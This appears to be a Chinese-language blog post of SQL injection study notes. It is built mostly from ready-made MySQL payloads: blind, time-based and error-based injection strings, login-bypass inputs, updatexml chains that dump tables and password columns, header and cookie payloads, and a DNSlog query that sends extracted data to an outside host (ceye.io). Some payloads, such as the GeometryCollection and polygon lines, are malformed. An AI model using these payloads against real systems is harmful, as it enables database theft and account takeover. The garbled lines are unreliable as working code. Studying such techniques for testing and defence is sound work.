LOADING

加载过慢请开启缓存 浏览器默认开启

2024/5/5

SQL 注入报错盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:

1)基于布尔的 SQL 盲注-逻辑判断

regexp,like,ascii,left,ord,mid

布尔盲注原理

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否

#substr()函数,截取某个字符串,与后面的字符串或数字对比
k' and substr((select database()),1,1)='s'
#left()函数,截取前几个字符与期望值对比
k' and left((database()),1)='s'
#regexp函数,用正则判断
k' and select user() regexp '^r'
#like函数
k' and select user() like 'ro%'
# 爆破库、表、字段长度
k' and select length(database())<xx

#有些sql漏洞中,会屏蔽引号,因此更多采用将截取出来的字符串转为ascii码,再对比ascii码值
#ascii和ord函数功能相同,大于、小于、等于配合二分法使用
k' and ascii(substr((select database()),1,1))=114
k' and ascii(substr((select database()),1,1))>114
k' and ascii(substr((select database()),1,1))<20

ord(substr((select database()),1,1))=114

2)基于时间的 SQL 盲注-延时判断

if,sleep

时间盲注原理

语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行

if

sleep

#确实是否有注入点,如果相应时间是自定义的睡眠时间,则大概率有注入点
k' and sleep(x) #
#然后通过之前的函数,猜测库、表、字段
k' and if(ascii(substr(database(),1,1))>115,0,sleep(5));

#也可以先通过sleep计算出库、表、字段长度
k' and sleep(length(database()))

3)基于报错的 SQL 盲注-报错回显

floor,updatexml,extractvalue

1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);

2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;

6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );

7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );

8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );

9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );

10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );

11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );

12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

常用的万能username语句:
a ’ or 1=1 #
a ") or 1=1 #
a‘) or 1=1 #
a” or “1”=”1
' or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

post型盲注通杀payload:uname=admin%df'or()or%200%23&passwd=&submit=Submit


关于UPDATEXML,REFERER,COOKIE的构造
User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

updatexml报错注入
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
参考:

like 'ro%'                #判断 ro 或 ro...是否成立
regexp '^xiaodi[a-z]'     #匹配 xiaodi 及 xiaodi...等
if(条件,5,0)              #条件成立 返回 5 反之 返回 0
sleep(5)                  #SQL 语句延时执行 5 秒
mid(a,b,c)                #从位置 b 开始,截取 a 字符串的 c 位
substr(a,b,c)             #从 b 位置开始,截取字符串 a 的 c 长度
left(database(),1),database()       #left(a,b)从左侧截取 a 的前 b 位
length(database())=8      #判断数据库 database()名的长度
ord=ascii ascii(x)=97     #判断 x 的 ascii 码是否等于 9

floor():MySQL 中用来取整的函数

select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2);
#concat 连接字符串功能
#floor  取float的整数值
#rang   取0-1之间随机浮点值
#group by   对结果集进行排序
select verson()就是我们用来做sql注入的语句

extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数

select extractvalue(1,concat(0x7e,(select user()),0x7e));
#extractvalue():接收2个参数,第一个xml文档,第二个xpath语句
#用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串

updatexml():MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数

select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#原理和extravtvalue一样,构造错误的xpath语句报错

updatexml报错实战

select、delete语句注入

#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

insert、update、注入
增、改同样可以用来进行报错注入,只是需要前后分别用or语句连接,使语句完整,一般需要抓包用bp改参数

# 原语句
insert into xxx id values ('k');
# 报错注入语句
k' or updatexml(1,concat(0x7e,(命令)),0) or'
# 组合后语句
insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or'');

head和cookie注入
如果代码调用了head或cookie中的信息拿到数据库进行拼接,也可以用报错注入尝试
同样是先用单引号找到注入点,在进行注入

# http head头注入,假如是对浏览器类型的检测
Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or '
# cookie注入,假如原cookie为 ant[uname]=admin
ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) #

3)dnslog盲注

dnslog盲注原理
  1. 首先需要存在sql注入漏洞,但不回显,常规只能用布尔盲注和时间盲注猜单词
  2. 但是利用Mysql load_file()函数(唯windows),可以用sql语句发起web请求
  3. 将我们盲注需要获取的信息,通过二级域名的方式,发起web请求
  4. 利用特定的dns解析网站,获取这些二级域名的记录,就能得到数据

前提要求

  1. windows系统
  2. 该用户具有file权限
  3. SHOW VARIABLES LIKE 'secure_file_priv'结果为NULL
dnslog盲注方法

登录http://ceye.io/网站并注册,得到属于自己的identifier 先尝试在终端运行curl test.xxxx.ceye.io ,在解析记录就可以看到对应记录 在windows系统下,使用load_file()发起如下类似请求:

select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\\abc'))

如果解析记录有结果,后续就可以用sql注入的其他语法自由发挥了 有些特殊符号不能作为二级域名,通用的方法是用hex()转换为16进制处理

4)宽字节注入

原理:在对单双引号进行了转义过滤的情况下,前面的注入方式都不好使,但可以在引号前加上%df再进行sql注入尝试
它的原理是

  1. \'编码后的值为%5C%27
  2. 使用GBK编码数据库时,两个字符为一个汉字
  3. ASCII码只有128个,大于128的,就会和第二个字符组成一个汉字
  4. 使用%df\',编码后为%df%5C%27
    第一个码大于128,因此会使用前两个字符,最后单剩一个引号
    即编码后的值为運'
  5. 然后就可以正常进行sql注入了
宽字节注入方法

黑盒测试的话:在可能的注入点后,键入%df'后,进行测试
白合测试的话:

  1. 查看mysql编码是否为GBK
  2. 是否使用preg_replace转换单引号为\'
  3. 是否使用addslashes进行转义
  4. 是否使用mysql_real_escape_string进行转义

5)二次编码注入

原理:

  1. 用户输入id=1%27,会被php转码为id=1'
  2. 转义代码发现有单引号,转义为id=1\',无法sql注入
  3. 用户输入id=1%2527,由于%25转码后就是%,因而会转码为id=1%27
  4. 转义代码没有发现单引号,故不转义
  5. 但后续urldecode等函数,处理url时,会将id=1%27转码为id=1',就可以注入
    注意:如果做白盒测试,要看urldecode函数 是否在转义方法之后

举例1如下:

  1. 新建用户admin'#,有特殊字符,但写入成功,并能使用该用户登录
  2. 正常修改用户密码时
    sql语句如是:update user set password='1234' where username='x' and psssword='xx'
  3. 但当用户为admin'#
    sql语句变为:update user set password='1234' where username='admin'#' and xxxxx
    明显井号后的语句都被注释掉了
  4. 结果就是会修改掉原有用户admin的密码

举例2如下:

  1. 有两个页面,一个页面写入数据,另一个页面可以有办法查看该数据
  2. 如果写入时,写入了xx' union select 1,database(),3
  3. 如果存在sql注入漏洞,写入的数据应该为1,库名,3
  4. 在另一个页面就可以看到该库名数据

在这里插入图片描述

6)HTTP头注入

1、UserAgent注入
User-Agent:hacker' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1
2、Referer 注入
Referer:hacker' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1
3、X-Forwarded-For注入

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip也可以是一些注入语句,如下:

X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)-- 
String sql = "select * from table where ip = '"+ip+"'";

构造X-Forwoarded-For头进行测试,http响应出现变化:

X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--

由此可以判定可能存在注入漏洞的

7)堆叠注入

mysql数据库sql语句的默认结束符是以”;”号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句

比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

select * from student;

HTWwvV.png

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

select * from student;select current_user();

HThjHS.png

堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对”;”号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

参考链接:

【小迪安全】完整详细笔记01-39天-CSDN博客

SQL注入详解-CSDN博客

SQL盲注 · 白帽与安全 · 看云 (kancloud.cn)

其他注入方式 · 白帽与安全 · 看云 (kancloud.cn)

sql注入之堆叠注入-CSDN博客